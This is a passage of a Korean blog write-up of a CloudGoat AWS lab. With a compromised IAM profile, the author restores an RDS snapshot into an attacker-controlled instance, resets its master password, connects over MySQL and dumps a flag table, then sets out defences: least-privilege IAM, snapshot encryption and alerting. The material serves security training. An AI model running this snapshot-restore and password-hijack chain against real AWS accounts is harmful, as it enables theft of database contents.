&lt;p data-path-to-node=&quot;24&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;24&quot;&gt;[식별된 타겟 정보]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;25&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,0,0&quot;&gt;DB Instance ID&lt;/b&gt;: cg-rds&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,1,0&quot;&gt;Engine&lt;/b&gt;: mysql (포트 3306)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,2,0&quot;&gt;Master Username&lt;/b&gt;: cgadmin&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,3,0&quot;&gt;VPC Security Group&lt;/b&gt;: sg-003294734cba3dc7e (인바운드 규칙 확인 필요)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;25,4,0&quot;&gt;DB Subnet Group&lt;/b&gt;: cg-db-subnet-group&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;RDS 스냅샷 복원&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;원본 데이터베이스(cg-rds)에 직접 접근할 수 없는 상황에서,&lt;span style=&quot;color: #333333; text-align: left;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;공격자는 백업본인 스냅샷을 이용해 동일한 환경을 복제하고 관리자 권한을 강제로 획득하는 공격을 수행하는 단계&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; RDS 스냅샷은?&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #0f141a; text-align: start;&quot;&gt;Amazon EBS 스냅샷이라는 특정 시점 사본을 만들어 Amazon EBS 볼륨의 데이터를 백업할 수 있다. 스냅샷은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;증분 백업 &lt;/b&gt;방식을 사용한다.&lt;span style=&quot;background-color: #ffffff; color: #0f141a; text-align: start;&quot;&gt; 즉, 볼륨에서 가장 최근 스냅샷 이후 변경된 블록만 저장된다. 그러면 스냅샷을 만드는 데 필요한 시간이 최소화되며 데이터를 복제하지 않으므로 스토리지 비용이 절약된다. &lt;/span&gt;원본 DB에 대한 접속 권한이 없더라도, &lt;b data-index-in-node=&quot;31&quot; data-path-to-node=&quot;7,1,0&quot;&gt;스냅샷 복원 권한&lt;/b&gt;만 있다면 데이터를 그대로 복사해 새로운 서버를 만들고 그 안의 데이터를 탈취할 수 있다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 타겟 스냅샷 탐색&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;새로 등록한 david 프로필을 사용하여 계정 내부에 존재하는 스냅샷 목록을 조회한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774241886846&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 새로운 프로필을 사용해 스냅샷 목록 조회
aws rds describe-db-snapshots --profile david

{
    &quot;DBSnapshots&quot;: [
        {
            &quot;DBSnapshotIdentifier&quot;: &quot;cg-rds-snapshot&quot;,
            &quot;DBInstanceIdentifier&quot;: &quot;cg-rds&quot;,
            &quot;SnapshotCreateTime&quot;: &quot;2026-03-23T04:39:19.759Z&quot;,
            &quot;Engine&quot;: &quot;mysql&quot;,
            &quot;AllocatedStorage&quot;: 20,
            &quot;Status&quot;: &quot;available&quot;,
            &quot;Port&quot;: 3306,
            &quot;AvailabilityZone&quot;: &quot;us-east-1b&quot;,
            &quot;VpcId&quot;: &quot;vpc-0501882635025e0f3&quot;,
            &quot;InstanceCreateTime&quot;: &quot;2026-03-23T04:28:18.827Z&quot;,
            &quot;MasterUsername&quot;: &quot;cgadmin&quot;,
            &quot;EngineVersion&quot;: &quot;5.7.44-rds.20251212&quot;,
            &quot;LicenseModel&quot;: &quot;general-public-license&quot;,
            &quot;SnapshotType&quot;: &quot;manual&quot;,
            &quot;StorageThroughput&quot;: 0,
            &quot;OptionGroupName&quot;: &quot;default:mysql-5-7&quot;,
            &quot;PercentProgress&quot;: 100,
            &quot;StorageType&quot;: &quot;gp2&quot;,
            &quot;Encrypted&quot;: false,
            &quot;StorageEncryptionType&quot;: &quot;none&quot;,
            &quot;BackupRetentionPeriod&quot;: 0,
            &quot;PreferredBackupWindow&quot;: &quot;07:09-07:39&quot;,
            &quot;DBSnapshotArn&quot;: &quot;arn:aws:rds:us-east-1:xxxxxxxxxxxx:snapshot:cg-rds-snapshot&quot;,
            &quot;IAMDatabaseAuthenticationEnabled&quot;: false,
            &quot;DbiResourceId&quot;: &quot;db-MSHNPJCKRQUTF2DDHEH2E6NSBU&quot;,
            &quot;TagList&quot;: [
                {
                    &quot;Key&quot;: &quot;Name&quot;,
                    &quot;Value&quot;: &quot;cg-rds_snapshot-cgidc7a27ntzqx&quot;
                },
                {
                    &quot;Key&quot;: &quot;Scenario&quot;,
                    &quot;Value&quot;: &quot;rds_snapshot&quot;
                },
                {
                    &quot;Key&quot;: &quot;Stack&quot;,
                    &quot;Value&quot;: &quot;CloudGoat&quot;
                }
            ],
            &quot;SnapshotTarget&quot;: &quot;region&quot;,
            &quot;OriginalSnapshotCreateTime&quot;: &quot;2026-03-23T04:39:19.759Z&quot;,
            &quot;MultiTenant&quot;: false,
            &quot;DedicatedLogVolume&quot;: false
        }
    ]
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;12&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;[핵심 정보 추출]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;DBSnapshotIdentifier&lt;/b&gt;: cg-rds-snapshot (복원 타겟)&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;MasterUsername&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;: cgadmin (접속 시 사용할 계정명 확인)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,2,0&quot;&gt;Status&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;: available (복원 가능한 상태)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;&lt;b&gt;스냅샷 이름&lt;/b&gt; : cg-rds_snapshot-cgidc7a27ntzqx&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;스냅샷 정보 다시 확인&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774244485459&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; aws rds describe-db-snapshots --db-instance-identifier cg-rds --profile david&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1774244624352&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;DBSnapshotIdentifier&quot;: &quot;cg-rds-snapshot&quot;,
&quot;MasterUsername&quot;: &quot;cgadmin&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;스냅샷 이름(cg-rds-snapshot)&lt;/b&gt;과&amp;nbsp;&lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;0&quot;&gt;마스터 사용자(cgadmin)&lt;/b&gt;&amp;nbsp;정보를 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;공격용 DB 복원&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774244696677&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#Restore the RDS snapshot
aws rds restore-db-instance-from-db-snapshot \
    --db-instance-identifier attack-rds \
    --db-snapshot-identifier cg-rds-snapshot \
    --db-subnet-group-name cg-db-subnet-group \
    --vpc-security-group-ids sg-003294734cba3dc7e \
    --profile david&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;식별된 스냅샷을 기반으로 공격자가 제어할 수 있는 새로운 DB 인스턴스(attack-rds)를 생성한다. 이때, 기존 DB 조사 단계에서 획득한 네트워크 설정(Subnet Group, Security Group)을 그대로 주입하여 정상 작동을 보장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 상태 모니터링 및 대기&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;DB 인스턴스 생성은 물리적인 시간이 소요되는 작업이다. &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;명령어가 성공하면 긴 JSON 결과가 출력될 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774244823157&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws rds describe-db-instances \
    --db-instance-identifier attack-rds \
    --query &quot;DBInstances[0].DBInstanceStatus&quot; \
    --profile david&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;--query 옵션을 활용하여 상태가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;available&lt;/b&gt;이 될 때까지 모니터링한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;[ 명령어 옵션 ]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,0,0&quot;&gt;DBInstances[0]&lt;/b&gt;: 여러 대의 DB 중 첫 번째 것(우리가 만든 것)을 선택&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12,1,0&quot;&gt;.Endpoint.Address&lt;/b&gt;: 그 안에서 주소 정보만 빼오기&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 비밀번호 하이재킹 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;복원된 DB는 원본의 비밀번호를 그대로 가지고 있어 여전히 접속이 불가능하다. 하지만 David가 가진 &lt;b data-index-in-node=&quot;59&quot; data-path-to-node=&quot;25&quot;&gt;rds:ModifyDBInstance&lt;/b&gt; 권한을 사용해 마스터 비밀번호를 즉시 변경함으로써 인증을 우회할 수 있다. 위의 명령어를 입력하고 상태가 &lt;b&gt;&quot;available&quot;&lt;/b&gt;로 표시되면, 즉시 아래 명령어를 입력하여 우리가 아는 비밀번호로 바꾼다,&lt;/p&gt;
&lt;pre id=&quot;code_1774244790902&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#Modify the RDS instance password
aws rds modify-db-instance \
    --db-instance-identifier attack-rds \
    --master-user-password attack1234! \
    --apply-immediately \
    --profile david&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;--apply-immediately 옵션을 사용하여 다음 유지 관리 기간까지 기다리지 않고 즉시 설정을 반영한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;비밀번호를 변경하면 잠시 상태가 modifying으로 바뀌었다가 다시 available이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 접속 정보(Endpoint) 추출&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;데이터 탈취를 위해 생성된 DB의 접속 주소(Endpoint)를 확보한다.&lt;/p&gt;
&lt;pre id=&quot;code_1774251978859&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# MySQL 접속을 위한 엔드포인트 주소만 추출
aws rds describe-db-instances \
    --db-instance-identifier attack-rds \
    --query &quot;DBInstances[0].Endpoint.Address&quot; \
    --output text \
    --profile david&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;attack-rds.[고유ID].us-east-1.rds.amazonaws.com가 나온다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;h4 style=&quot;text-align: center;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;데이터베이스 침투 및 FLAG 탈취&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span&gt;모든 권한 상승과 인프라 복제 과정이 끝났다.&lt;/span&gt;&lt;span&gt; 이제 공격자는 직접 생성하고 비밀번호를 탈취한 DB 서버에 접속하여 최종 목적물인 민감 데이터를 추출하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; MySQL 접속&lt;/b&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;6&quot; data-ke-size=&quot;size18&quot;&gt;방금 확인된 엔드포인트 주소를 사용하여 접속한다.&lt;/p&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwi3s9fA8LSTAxUAAAAAHQAAAAAQ9Ac&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;bash&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;mysql -h attack-rds.cuhuwuaisedu.us-east-1.rds.amazonaws.com -P 3306 -u cgadmin -pattack1234!&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 데이터베이스 탐색&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이전 단계에서 확보한 &lt;b data-index-in-node=&quot;12&quot; data-path-to-node=&quot;6&quot;&gt;엔드포인트(Endpoint)&lt;/b&gt; 주소와 하이재킹한 &lt;b data-index-in-node=&quot;38&quot; data-path-to-node=&quot;6&quot;&gt;비밀번호&lt;/b&gt;를 사용하여 MySQL 클라이언트로 접속한다. 성공적으로 접속하면 mysql&amp;gt; 프롬프트가 활성화 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 스키마 및 데이터 열거 &lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;mysql&amp;gt; 프롬프트가 뜨면, 아래 명령어를 하나씩 입력하여 숨겨진 데이터를 찾는다.&lt;/p&gt;
&lt;pre id=&quot;code_1774246178022&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- 1. 가용한 데이터베이스 목록 조회
show databases;

-- 2. 분석 결과 'mydatabase'가 실제 서비스 데이터를 담고 있는 것으로 판단되어 선택
use mydatabase;

-- 3. 선택된 DB 내의 모든 테이블 목록 확인
show tables;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;709&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpwVpA/dJMcagdOqwO/mOldUyOG0ZUUJwyN5a4vcK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpwVpA/dJMcagdOqwO/mOldUyOG0ZUUJwyN5a4vcK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpwVpA/dJMcagdOqwO/mOldUyOG0ZUUJwyN5a4vcK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpwVpA%2FdJMcagdOqwO%2FmOldUyOG0ZUUJwyN5a4vcK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;709&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;709&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;일반적인 운영 환경이라면 users, orders, credit_cards 등의 테이블이 타겟이 되지만, 이 시나리오에서는 명시적인 flag 테이블이 공격자의 최종 목표다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt; 최종 데이터 탈취 &lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1774252187184&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;-- flag 테이블의 모든 컬럼과 데이터 조회
select * from flag;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;218&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bAKnoJ/dJMcadafjIB/N1zj72ijUHnWNIIVIykK1k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bAKnoJ/dJMcadafjIB/N1zj72ijUHnWNIIVIykK1k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bAKnoJ/dJMcadafjIB/N1zj72ijUHnWNIIVIykK1k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbAKnoJ%2FdJMcadafjIB%2FN1zj72ijUHnWNIIVIykK1k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;971&quot; height=&quot;218&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;971&quot; data-origin-height=&quot;218&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;식별된 테이블로부터 모든 레코드를 조회하여 플래그를 획득한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실습이 종료된 후, 공격 과정에서 생성한 &lt;b data-index-in-node=&quot;23&quot; data-path-to-node=&quot;26&quot;&gt;attack-rds&lt;/b&gt; 인스턴스는 CloudGoat의 자동 삭제(destroy) 범위에 포함되지 않는다. &lt;b data-index-in-node=&quot;81&quot; data-path-to-node=&quot;26&quot;&gt;불필요한 과금과 흔적 방지&lt;/b&gt;를 위해 관리자 권한으로 수동 삭제를 수행해야 한다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-path-to-node=&quot;0&quot; data-ke-size=&quot;size16&quot;&gt;4학년 졸업반이시니, 이제는 단순히 '패치한다'를 넘어 &lt;b data-index-in-node=&quot;31&quot; data-path-to-node=&quot;0&quot;&gt;전략적인 방어 계층(Defense in Depth)&lt;/b&gt; 관점에서 이 시나리오를 박살 내는 방법을 정리해 보겠습니다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;1&quot; data-ke-size=&quot;size16&quot;&gt;이번 공격은 **'자격 증명 노출'**에서 시작해 **'과도한 권한'**을 타고 **'백업 데이터'**까지 번진 전형적인 연쇄 폭발이었습니다. 이를 막기 위한 4단계 방어 전략입니다.&lt;/p&gt;
&lt;hr data-path-to-node=&quot;2&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-path-to-node=&quot;3&quot; data-ke-size=&quot;size26&quot;&gt;Defensive Architecture&lt;/h2&gt;
&lt;h3 data-path-to-node=&quot;4&quot; data-ke-size=&quot;size23&quot;&gt;1. 비밀번호 및 키 관리 (Secret Management)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;가장 근본적인 원인은 S3 내 access_keys.txt 방치다. 클라우드 네이티브 환경에서는 암호는 저장하는 것이 아니라, 위임하는 것이다.&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,0,0&quot;&gt;IAM Role 활용&lt;/b&gt;: EC2 인스턴스에 정적 키를 저장하는 대신, 인스턴스 프로필(Instance Profile)을 부여하여 임시 자격 증명을 자동 갱신하게 설정&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7,1,0&quot;&gt;Secrets Manager&lt;/b&gt;: 어플리케이션에 필요한 DB 비밀번호 등은 S3가 아닌 &lt;b data-index-in-node=&quot;47&quot; data-path-to-node=&quot;7,1,0&quot;&gt;AWS Secrets Manager&lt;/b&gt;에 저장하고, 호출 시점에만 메모리에 로드하여 노출 가능성을 최소화&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;2. 권한의 최소화: IAM 정책 최적화 (Least Privilege)&lt;/h3&gt;
&lt;p data-path-to-node=&quot;8&quot; data-ke-size=&quot;size18&quot;&gt;EC2와 David 유저에게 부여된 Action: *와 Resource: *는 공격자에게 모든 권한을 준 것이다.&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;9&quot; data-ke-size=&quot;size20&quot;&gt;[Before] 취약한 정책&lt;/h4&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwi3s9fA8LSTAxUAAAAAHQAAAAAQ3As&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
    &quot;Action&quot;: [&quot;s3:*&quot;, &quot;rds:*&quot;],
    &quot;Resource&quot;: &quot;*&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4 data-path-to-node=&quot;11&quot; data-ke-size=&quot;size20&quot;&gt;[After] 방어된 정책&lt;/h4&gt;
&lt;div data-ved=&quot;0CAAQhtANahgKEwi3s9fA8LSTAxUAAAAAHQAAAAAQ3Qs&quot; data-hveid=&quot;0&quot;&gt;
&lt;div&gt;
&lt;div&gt;
&lt;pre class=&quot;json&quot;&gt;&lt;code&gt;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [&quot;s3:GetObject&quot;], 
            &quot;Resource&quot;: &quot;arn:aws:s3:::specific-bucket-name/*&quot; // 특정 버킷의 읽기만 허용
        },
        {
            &quot;Effect&quot;: &quot;Allow&quot;,
            &quot;Action&quot;: [&quot;rds:DescribeDBInstances&quot;],
            &quot;Resource&quot;: &quot;*&quot; 
        },
        {
            &quot;Effect&quot;: &quot;Deny&quot;, // 명시적 거부 추가
            &quot;Action&quot;: [&quot;rds:DeleteDBInstance&quot;, &quot;rds:ModifyDBInstance&quot;],
            &quot;Condition&quot;: {&quot;Bool&quot;: {&quot;aws:MultiFactorAuthPresent&quot;: &quot;false&quot;}},
            &quot;Resource&quot;: &quot;*&quot; // MFA 없이는 민감 작업 불가
        }
    ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS 정책 평가 로직에서 Deny는 Allow보다 우선이다. 추가한&amp;nbsp;조건은 공격자가 David의 키를 훔쳤더라도, 실제 David의 물리적 MFA 장치가 없다면 RDS 설정을 바꿀 수 없게 만든다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size23&quot;&gt;3. 데이터 보호: RDS 스냅샷 암호화&lt;/h3&gt;
&lt;p data-path-to-node=&quot;15&quot; data-ke-size=&quot;size18&quot;&gt;공격자가 스냅샷을 복원할 수 있었던 이유는 스냅샷이 암호화되어 있지 않았거나, 암호화 키(KMS)에 대한 접근 권한까지 David가 가졌기 때문이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;16&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모든 RDS 스냅샷을 AWS KMS(Key Management Service)로 암호화&lt;/li&gt;
&lt;li&gt;David가 rds:Restore... 권한이 있더라도, 암호화에 사용된 KMS 키에 대한 kms:Decrypt 권한이 없다면 공격자는 서버(RDS)는 만들 수 있지만, 정작 그 안의 데이터(EBS Volume)는 복호화하지 못해 서버 부팅 자체가 실패한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-path-to-node=&quot;17&quot; data-ke-size=&quot;size23&quot;&gt;4. 탐지 및 대응: 실시간 모니터링&lt;/h3&gt;
&lt;p data-path-to-node=&quot;18&quot; data-ke-size=&quot;size18&quot;&gt;공격자가 침입했을 때 관리자가 즉시 알 수 있어야 한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;19&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,0,0&quot;&gt;CloudTrail + CloudWatch Alarms&lt;/b&gt;: RestoreDBInstanceFromDBSnapshot이나 ModifyDBInstance API 호출이 발생하면 즉시 관리자에게 SNS 알림이 가도록 설정한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;19,1,0&quot;&gt;Amazon GuardDuty&lt;/b&gt;: &quot;기존에 사용하지 않던 리전이나 IP에서 RDS 복원 시도&quot;와 같은 이상 행위를 머신러닝으로 탐지하여 차단한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
